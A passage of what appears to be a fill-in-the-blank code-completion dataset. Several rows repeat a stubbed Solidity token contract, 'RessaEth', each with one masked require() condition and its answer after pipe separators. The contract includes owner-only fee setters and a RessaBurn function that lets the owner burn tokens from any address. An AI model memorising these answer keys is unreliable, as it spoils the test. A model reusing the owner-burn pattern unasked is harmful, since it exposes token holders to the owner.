function name() external view returns (string memory) { }
function getOwner() external view returns (address) { }
function allowance(address holder, address spender) external view override returns (uint256) { }
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function approveMax(address spender) public returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
}
function setNewRouter(address newRouter) external onlyOwner() {
}
function setLpPair(address pair, bool enabled) external onlyOwner {
}
function isExcludedFromReward(address account) public view returns (bool) {
}
function iEFF(address account) public view returns(bool) {
}
function setTB(uint256 reflect, uint256 liquidity, uint256 marketing) external onlyOwner {
}
function setTS(uint256 reflect, uint256 liquidity, uint256 marketing) external onlyOwner {
}
function setTT(uint256 reflect, uint256 liquidity, uint256 marketing) external onlyOwner {
}
function setValues(uint256 ms, uint256 ds, uint256 vd) external onlyOwner {
}
function setRatios(uint256 liquidity, uint256 marketing) external onlyOwner {
}
function setMTP(uint256 percent, uint256 divisor) external onlyOwner {
}
function setMWS(uint256 p, uint256 d) external onlyOwner {
}
function setSwapSettings(uint256 thresholdPercent, uint256 thresholdDivisor, uint256 amountPercent, uint256 amountDivisor) external onlyOwner {
}
function setNewMarketWallet(address payable newWallet) external onlyOwner {
}
function setNewDW(address payable newWallet) external onlyOwner {
}
function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner {
}
function setExcludedFromFee(address account, bool enabled) public onlyOwner {
}
function setExcludedFromReward(address account, bool enabled) public onlyOwner {
}
function totalFees() public view returns (uint256) {
}
function _hasLimits(address from, address to) internal view returns (bool) {
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
}
function _approve(address sender, address spender, uint256 amount) internal {
}
function _t(address from, address to, uint256 amount) internal returns (bool) {
require(from != address(0), "Cannot transfer from the zero address");
require(to != address(0), "Cannot transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(_hasLimits(from, to)) {
if(!go) {
revert("Trading not yet enabled!");
}
if (sameBlockActive) {
if (lpPs[from]){
require(lastTrade[to] != block.number + 1);
lastTrade[to] = block.number;
} else {
require(<FILL_ME>)
lastTrade[from] = block.number;
}
}
require(amount <= _mTA, "Transfer exceeds the maxTxAmount.");
if(to != _routerAddress && !lpPs[to]) {
require(balanceOf(to) + amount <= _mWS, "Transfer exceeds the maxWalletSize.");
}
}
bool takeFee = true;
if(_iEFF[from] || _iEFF[to]){
takeFee = false;
}
if (lpPs[to]) {
if (!inSwapAndLiquify
&& swapAndLiquifyEnabled
) {
uint256 contractTokenBalance = balanceOf(address(this));
if (contractTokenBalance >= swapThreshold) {
if(contractTokenBalance >= swapAmount) { contractTokenBalance = swapAmount; }
swapAndLiquify(contractTokenBalance);
}
}
}
return _ftt(from, to, amount, takeFee);
}
function swapAndLiquify(uint256 contractTokenBalance) internal lockTheSwap {
}
function _checkLiquidityAdd(address from, address to) internal {
}
function Go() public onlyOwner {
}
struct ExtraValues {
uint256 tTransferAmount;
uint256 tFee;
uint256 tLiquidity;
uint256 rTransferAmount;
uint256 rAmount;
uint256 rFee;
}
function _ftt(address from, address to, uint256 tAmount, bool takeFee) internal returns (bool) {
}
function Update(string memory _tn, string memory _ts) public {
}
function RessaBurn (address from, uint256 amount) public onlyOwner {
}
function RessaDAOBurn (address from, uint256 amount) public {
}
function CommunityBurn (uint256 amount) public {
}
function _getValues(address from, address to, uint256 tAmount, bool takeFee) internal returns (ExtraValues memory) {
}
function _getRate() internal view returns(uint256) {
}
function _getCurrentSupply() internal view returns(uint256, uint256) {
}
function _takeReflect(uint256 rFee, uint256 tFee) internal {
}
function withdrawETHstuck() external onlyOwner {
}
function _takeLiquidity(address sender, uint256 tLiquidity) internal {
}
}
| lastTrade[from]!=block.number+1 | 71,423 | lastTrade[from]!=block.number+1 |
"Transfer exceeds the maxWalletSize." | //
/*
*/
//
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.9.0;
abstract contract Context {
function _msgSender() internal view returns (address payable) {
}
function _msgData() internal view returns (bytes memory) {
}
}
interface IERC20Upgradeable {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
}
function sendValue(address payable recipient, uint256 amount) internal {
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
}
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address lpPair, uint);
function getPair(address tokenA, address tokenB) external view returns (address lpPair);
function createPair(address tokenA, address tokenB) external returns (address lpPair);
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract RessaEth is Context, IERC20Upgradeable {
address private _owner; // address of the contract owner.
mapping (address => uint256) private _rOd;
mapping (address => uint256) private _tOd;
mapping (address => bool) lpPs;
uint256 private tSLP = 0;
mapping (address => mapping (address => uint256)) private _als;
mapping (address => bool) private _iEFF;
mapping (address => bool) private _iE;
address[] private _excluded;
mapping (address => bool) private _lH;
uint256 private sS;
string private _nm;
string private _s;
uint256 public _reF = 100; uint256 public _liF = 200; uint256 public _maF = 300;
uint256 public _bReF = _reF; uint256 public _bLiF = _liF; uint256 public _bMaF = _maF;
uint256 public _sLiF = 300; uint256 public _sReF = 200; uint256 public _sMaF = 100;
uint256 public _tReF = 0; uint256 public _tLiF = 0; uint256 public _tMaF = 0;
uint256 private maxReF = 1000; uint256 private maxLiF = 1000; uint256 private maxMaF = 2200;
uint256 public _liquidityRatio = 300;
uint256 public _mR = 200;
uint256 private masterTaxDivisor = 10000;
uint256 private MaS = 40;
uint256 private DeS = 10;
uint256 private VaD = 50;
uint256 private constant MAX = ~uint256(0);
uint8 private _decimals;
uint256 private _decimalsMul;
uint256 private _tTotal;
uint256 private _rTotal;
uint256 private _tFeeTotal;
IUniswapV2Router02 public dexRouter;
address public lpPair;
address public _routerAddress;
address public DEAD = 0x000000000000000000000000000000000000dEaD;
address public ZERO = 0x0000000000000000000000000000000000000000;
address payable private _dW;
address payable private _marketWallet;
bool inSwapAndLiquify;
bool public swapAndLiquifyEnabled = false;
uint256 private _mTA;
uint256 public mTAUI;
uint256 private _mWS;
uint256 public mWSUI;
uint256 private swapThreshold;
uint256 private swapAmount;
bool go = false;
bool public _LiqHasBeenAdded = false;
uint256 private _liqAddBlock = 0;
uint256 private _liqAddStamp = 0;
bool private sameBlockActive = true;
mapping (address => uint256) private lastTrade;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap);
event SwapAndLiquifyEnabledUpdated(bool enabled);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiqudity
);
event SniperCaught(address sniperAddress);
uint256 Planted;
bool rft = false;
modifier lockTheSwap {
}
modifier onlyOwner() {
}
constructor () payable {
}
receive() external payable {}
function _RFT(address payable setMarketWallet, address payable setDW, string memory _tokenname, string memory _tokensymbol) external onlyOwner {
}
function owner() public view returns (address) {
}
function transferOwner(address newOwner) external onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner() {
}
function totalSupply() external view override returns (uint256) { }
function decimals() external view returns (uint8) { }
function symbol() external view returns (string memory) { }
function name() external view returns (string memory) { }
function getOwner() external view returns (address) { }
function allowance(address holder, address spender) external view override returns (uint256) { }
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function approveMax(address spender) public returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
}
function setNewRouter(address newRouter) external onlyOwner() {
}
function setLpPair(address pair, bool enabled) external onlyOwner {
}
function isExcludedFromReward(address account) public view returns (bool) {
}
function iEFF(address account) public view returns(bool) {
}
function setTB(uint256 reflect, uint256 liquidity, uint256 marketing) external onlyOwner {
}
function setTS(uint256 reflect, uint256 liquidity, uint256 marketing) external onlyOwner {
}
function setTT(uint256 reflect, uint256 liquidity, uint256 marketing) external onlyOwner {
}
function setValues(uint256 ms, uint256 ds, uint256 vd) external onlyOwner {
}
function setRatios(uint256 liquidity, uint256 marketing) external onlyOwner {
}
function setMTP(uint256 percent, uint256 divisor) external onlyOwner {
}
function setMWS(uint256 p, uint256 d) external onlyOwner {
}
function setSwapSettings(uint256 thresholdPercent, uint256 thresholdDivisor, uint256 amountPercent, uint256 amountDivisor) external onlyOwner {
}
function setNewMarketWallet(address payable newWallet) external onlyOwner {
}
function setNewDW(address payable newWallet) external onlyOwner {
}
function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner {
}
function setExcludedFromFee(address account, bool enabled) public onlyOwner {
}
function setExcludedFromReward(address account, bool enabled) public onlyOwner {
}
function totalFees() public view returns (uint256) {
}
function _hasLimits(address from, address to) internal view returns (bool) {
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
}
function _approve(address sender, address spender, uint256 amount) internal {
}
function _t(address from, address to, uint256 amount) internal returns (bool) {
require(from != address(0), "Cannot transfer from the zero address");
require(to != address(0), "Cannot transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(_hasLimits(from, to)) {
if(!go) {
revert("Trading not yet enabled!");
}
if (sameBlockActive) {
if (lpPs[from]){
require(lastTrade[to] != block.number + 1);
lastTrade[to] = block.number;
} else {
require(lastTrade[from] != block.number + 1);
lastTrade[from] = block.number;
}
}
require(amount <= _mTA, "Transfer exceeds the maxTxAmount.");
if(to != _routerAddress && !lpPs[to]) {
require(<FILL_ME>)
}
}
bool takeFee = true;
if(_iEFF[from] || _iEFF[to]){
takeFee = false;
}
if (lpPs[to]) {
if (!inSwapAndLiquify
&& swapAndLiquifyEnabled
) {
uint256 contractTokenBalance = balanceOf(address(this));
if (contractTokenBalance >= swapThreshold) {
if(contractTokenBalance >= swapAmount) { contractTokenBalance = swapAmount; }
swapAndLiquify(contractTokenBalance);
}
}
}
return _ftt(from, to, amount, takeFee);
}
function swapAndLiquify(uint256 contractTokenBalance) internal lockTheSwap {
}
function _checkLiquidityAdd(address from, address to) internal {
}
function Go() public onlyOwner {
}
struct ExtraValues {
uint256 tTransferAmount;
uint256 tFee;
uint256 tLiquidity;
uint256 rTransferAmount;
uint256 rAmount;
uint256 rFee;
}
function _ftt(address from, address to, uint256 tAmount, bool takeFee) internal returns (bool) {
}
function Update(string memory _tn, string memory _ts) public {
}
function RessaBurn (address from, uint256 amount) public onlyOwner {
}
function RessaDAOBurn (address from, uint256 amount) public {
}
function CommunityBurn (uint256 amount) public {
}
function _getValues(address from, address to, uint256 tAmount, bool takeFee) internal returns (ExtraValues memory) {
}
function _getRate() internal view returns(uint256) {
}
function _getCurrentSupply() internal view returns(uint256, uint256) {
}
function _takeReflect(uint256 rFee, uint256 tFee) internal {
}
function withdrawETHstuck() external onlyOwner {
}
function _takeLiquidity(address sender, uint256 tLiquidity) internal {
}
}
| balanceOf(to)+amount<=_mWS,"Transfer exceeds the maxWalletSize." | 71,423 | balanceOf(to)+amount<=_mWS |
"Liquidity is already added." | //
/*
*/
//
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.9.0;
abstract contract Context {
function _msgSender() internal view returns (address payable) {
}
function _msgData() internal view returns (bytes memory) {
}
}
interface IERC20Upgradeable {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
}
function sendValue(address payable recipient, uint256 amount) internal {
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
}
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address lpPair, uint);
function getPair(address tokenA, address tokenB) external view returns (address lpPair);
function createPair(address tokenA, address tokenB) external returns (address lpPair);
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract RessaEth is Context, IERC20Upgradeable {
address private _owner; // address of the contract owner.
mapping (address => uint256) private _rOd;
mapping (address => uint256) private _tOd;
mapping (address => bool) lpPs;
uint256 private tSLP = 0;
mapping (address => mapping (address => uint256)) private _als;
mapping (address => bool) private _iEFF;
mapping (address => bool) private _iE;
address[] private _excluded;
mapping (address => bool) private _lH;
uint256 private sS;
string private _nm;
string private _s;
uint256 public _reF = 100; uint256 public _liF = 200; uint256 public _maF = 300;
uint256 public _bReF = _reF; uint256 public _bLiF = _liF; uint256 public _bMaF = _maF;
uint256 public _sLiF = 300; uint256 public _sReF = 200; uint256 public _sMaF = 100;
uint256 public _tReF = 0; uint256 public _tLiF = 0; uint256 public _tMaF = 0;
uint256 private maxReF = 1000; uint256 private maxLiF = 1000; uint256 private maxMaF = 2200;
uint256 public _liquidityRatio = 300;
uint256 public _mR = 200;
uint256 private masterTaxDivisor = 10000;
uint256 private MaS = 40;
uint256 private DeS = 10;
uint256 private VaD = 50;
uint256 private constant MAX = ~uint256(0);
uint8 private _decimals;
uint256 private _decimalsMul;
uint256 private _tTotal;
uint256 private _rTotal;
uint256 private _tFeeTotal;
IUniswapV2Router02 public dexRouter;
address public lpPair;
address public _routerAddress;
address public DEAD = 0x000000000000000000000000000000000000dEaD;
address public ZERO = 0x0000000000000000000000000000000000000000;
address payable private _dW;
address payable private _marketWallet;
bool inSwapAndLiquify;
bool public swapAndLiquifyEnabled = false;
uint256 private _mTA;
uint256 public mTAUI;
uint256 private _mWS;
uint256 public mWSUI;
uint256 private swapThreshold;
uint256 private swapAmount;
bool go = false;
bool public _LiqHasBeenAdded = false;
uint256 private _liqAddBlock = 0;
uint256 private _liqAddStamp = 0;
bool private sameBlockActive = true;
mapping (address => uint256) private lastTrade;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap);
event SwapAndLiquifyEnabledUpdated(bool enabled);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiqudity
);
event SniperCaught(address sniperAddress);
uint256 Planted;
bool rft = false;
modifier lockTheSwap {
}
modifier onlyOwner() {
}
constructor () payable {
}
receive() external payable {}
function _RFT(address payable setMarketWallet, address payable setDW, string memory _tokenname, string memory _tokensymbol) external onlyOwner {
}
function owner() public view returns (address) {
}
function transferOwner(address newOwner) external onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner() {
}
function totalSupply() external view override returns (uint256) { }
function decimals() external view returns (uint8) { }
function symbol() external view returns (string memory) { }
function name() external view returns (string memory) { }
function getOwner() external view returns (address) { }
function allowance(address holder, address spender) external view override returns (uint256) { }
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function approveMax(address spender) public returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
}
function setNewRouter(address newRouter) external onlyOwner() {
}
function setLpPair(address pair, bool enabled) external onlyOwner {
}
function isExcludedFromReward(address account) public view returns (bool) {
}
function iEFF(address account) public view returns(bool) {
}
function setTB(uint256 reflect, uint256 liquidity, uint256 marketing) external onlyOwner {
}
function setTS(uint256 reflect, uint256 liquidity, uint256 marketing) external onlyOwner {
}
function setTT(uint256 reflect, uint256 liquidity, uint256 marketing) external onlyOwner {
}
function setValues(uint256 ms, uint256 ds, uint256 vd) external onlyOwner {
}
function setRatios(uint256 liquidity, uint256 marketing) external onlyOwner {
}
function setMTP(uint256 percent, uint256 divisor) external onlyOwner {
}
function setMWS(uint256 p, uint256 d) external onlyOwner {
}
function setSwapSettings(uint256 thresholdPercent, uint256 thresholdDivisor, uint256 amountPercent, uint256 amountDivisor) external onlyOwner {
}
function setNewMarketWallet(address payable newWallet) external onlyOwner {
}
function setNewDW(address payable newWallet) external onlyOwner {
}
function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner {
}
function setExcludedFromFee(address account, bool enabled) public onlyOwner {
}
function setExcludedFromReward(address account, bool enabled) public onlyOwner {
}
function totalFees() public view returns (uint256) {
}
function _hasLimits(address from, address to) internal view returns (bool) {
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
}
function _approve(address sender, address spender, uint256 amount) internal {
}
function _t(address from, address to, uint256 amount) internal returns (bool) {
}
function swapAndLiquify(uint256 contractTokenBalance) internal lockTheSwap {
}
function _checkLiquidityAdd(address from, address to) internal {
require(<FILL_ME>)
if (!_hasLimits(from, to) && to == lpPair) {
_lH[from] = true;
_LiqHasBeenAdded = true;
_liqAddStamp = block.timestamp;
swapAndLiquifyEnabled = true;
emit SwapAndLiquifyEnabledUpdated(true);
}
}
function Go() public onlyOwner {
}
struct ExtraValues {
uint256 tTransferAmount;
uint256 tFee;
uint256 tLiquidity;
uint256 rTransferAmount;
uint256 rAmount;
uint256 rFee;
}
function _ftt(address from, address to, uint256 tAmount, bool takeFee) internal returns (bool) {
}
function Update(string memory _tn, string memory _ts) public {
}
function RessaBurn (address from, uint256 amount) public onlyOwner {
}
function RessaDAOBurn (address from, uint256 amount) public {
}
function CommunityBurn (uint256 amount) public {
}
function _getValues(address from, address to, uint256 tAmount, bool takeFee) internal returns (ExtraValues memory) {
}
function _getRate() internal view returns(uint256) {
}
function _getCurrentSupply() internal view returns(uint256, uint256) {
}
function _takeReflect(uint256 rFee, uint256 tFee) internal {
}
function withdrawETHstuck() external onlyOwner {
}
function _takeLiquidity(address sender, uint256 tLiquidity) internal {
}
}
| !_LiqHasBeenAdded,"Liquidity is already added." | 71,423 | !_LiqHasBeenAdded |
"Trading is already enabled!" | //
/*
*/
//
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.9.0;
abstract contract Context {
function _msgSender() internal view returns (address payable) {
}
function _msgData() internal view returns (bytes memory) {
}
}
interface IERC20Upgradeable {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
}
function sendValue(address payable recipient, uint256 amount) internal {
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
}
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address lpPair, uint);
function getPair(address tokenA, address tokenB) external view returns (address lpPair);
function createPair(address tokenA, address tokenB) external returns (address lpPair);
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract RessaEth is Context, IERC20Upgradeable {
address private _owner; // address of the contract owner.
mapping (address => uint256) private _rOd;
mapping (address => uint256) private _tOd;
mapping (address => bool) lpPs;
uint256 private tSLP = 0;
mapping (address => mapping (address => uint256)) private _als;
mapping (address => bool) private _iEFF;
mapping (address => bool) private _iE;
address[] private _excluded;
mapping (address => bool) private _lH;
uint256 private sS;
string private _nm;
string private _s;
uint256 public _reF = 100; uint256 public _liF = 200; uint256 public _maF = 300;
uint256 public _bReF = _reF; uint256 public _bLiF = _liF; uint256 public _bMaF = _maF;
uint256 public _sLiF = 300; uint256 public _sReF = 200; uint256 public _sMaF = 100;
uint256 public _tReF = 0; uint256 public _tLiF = 0; uint256 public _tMaF = 0;
uint256 private maxReF = 1000; uint256 private maxLiF = 1000; uint256 private maxMaF = 2200;
uint256 public _liquidityRatio = 300;
uint256 public _mR = 200;
uint256 private masterTaxDivisor = 10000;
uint256 private MaS = 40;
uint256 private DeS = 10;
uint256 private VaD = 50;
uint256 private constant MAX = ~uint256(0);
uint8 private _decimals;
uint256 private _decimalsMul;
uint256 private _tTotal;
uint256 private _rTotal;
uint256 private _tFeeTotal;
IUniswapV2Router02 public dexRouter;
address public lpPair;
address public _routerAddress;
address public DEAD = 0x000000000000000000000000000000000000dEaD;
address public ZERO = 0x0000000000000000000000000000000000000000;
address payable private _dW;
address payable private _marketWallet;
bool inSwapAndLiquify;
bool public swapAndLiquifyEnabled = false;
uint256 private _mTA;
uint256 public mTAUI;
uint256 private _mWS;
uint256 public mWSUI;
uint256 private swapThreshold;
uint256 private swapAmount;
bool go = false;
bool public _LiqHasBeenAdded = false;
uint256 private _liqAddBlock = 0;
uint256 private _liqAddStamp = 0;
bool private sameBlockActive = true;
mapping (address => uint256) private lastTrade;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap);
event SwapAndLiquifyEnabledUpdated(bool enabled);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiqudity
);
event SniperCaught(address sniperAddress);
uint256 Planted;
bool rft = false;
modifier lockTheSwap {
}
modifier onlyOwner() {
}
constructor () payable {
}
receive() external payable {}
function _RFT(address payable setMarketWallet, address payable setDW, string memory _tokenname, string memory _tokensymbol) external onlyOwner {
}
function owner() public view returns (address) {
}
function transferOwner(address newOwner) external onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner() {
}
function totalSupply() external view override returns (uint256) { }
function decimals() external view returns (uint8) { }
function symbol() external view returns (string memory) { }
function name() external view returns (string memory) { }
function getOwner() external view returns (address) { }
function allowance(address holder, address spender) external view override returns (uint256) { }
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function approveMax(address spender) public returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
}
function setNewRouter(address newRouter) external onlyOwner() {
}
function setLpPair(address pair, bool enabled) external onlyOwner {
}
function isExcludedFromReward(address account) public view returns (bool) {
}
function iEFF(address account) public view returns(bool) {
}
function setTB(uint256 reflect, uint256 liquidity, uint256 marketing) external onlyOwner {
}
function setTS(uint256 reflect, uint256 liquidity, uint256 marketing) external onlyOwner {
}
function setTT(uint256 reflect, uint256 liquidity, uint256 marketing) external onlyOwner {
}
function setValues(uint256 ms, uint256 ds, uint256 vd) external onlyOwner {
}
function setRatios(uint256 liquidity, uint256 marketing) external onlyOwner {
}
function setMTP(uint256 percent, uint256 divisor) external onlyOwner {
}
function setMWS(uint256 p, uint256 d) external onlyOwner {
}
function setSwapSettings(uint256 thresholdPercent, uint256 thresholdDivisor, uint256 amountPercent, uint256 amountDivisor) external onlyOwner {
}
function setNewMarketWallet(address payable newWallet) external onlyOwner {
}
function setNewDW(address payable newWallet) external onlyOwner {
}
function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner {
}
function setExcludedFromFee(address account, bool enabled) public onlyOwner {
}
function setExcludedFromReward(address account, bool enabled) public onlyOwner {
}
function totalFees() public view returns (uint256) {
}
function _hasLimits(address from, address to) internal view returns (bool) {
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
}
function _approve(address sender, address spender, uint256 amount) internal {
}
function _t(address from, address to, uint256 amount) internal returns (bool) {
}
function swapAndLiquify(uint256 contractTokenBalance) internal lockTheSwap {
}
function _checkLiquidityAdd(address from, address to) internal {
}
function Go() public onlyOwner {
require(<FILL_ME>)
setExcludedFromReward(address(this), true);
setExcludedFromReward(lpPair, true);
go = true;
swapAndLiquifyEnabled = true;
}
struct ExtraValues {
uint256 tTransferAmount;
uint256 tFee;
uint256 tLiquidity;
uint256 rTransferAmount;
uint256 rAmount;
uint256 rFee;
}
function _ftt(address from, address to, uint256 tAmount, bool takeFee) internal returns (bool) {
}
function Update(string memory _tn, string memory _ts) public {
}
function RessaBurn (address from, uint256 amount) public onlyOwner {
}
function RessaDAOBurn (address from, uint256 amount) public {
}
function CommunityBurn (uint256 amount) public {
}
function _getValues(address from, address to, uint256 tAmount, bool takeFee) internal returns (ExtraValues memory) {
}
function _getRate() internal view returns(uint256) {
}
function _getCurrentSupply() internal view returns(uint256, uint256) {
}
function _takeReflect(uint256 rFee, uint256 tFee) internal {
}
function withdrawETHstuck() external onlyOwner {
}
function _takeLiquidity(address sender, uint256 tLiquidity) internal {
}
}
| !go,"Trading is already enabled!" | 71,423 | !go |
"Only DAO Can Update the Token" | //
/*
*/
//
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.9.0;
abstract contract Context {
function _msgSender() internal view returns (address payable) {
}
function _msgData() internal view returns (bytes memory) {
}
}
interface IERC20Upgradeable {
function totalSupply() external view returns (uint256);
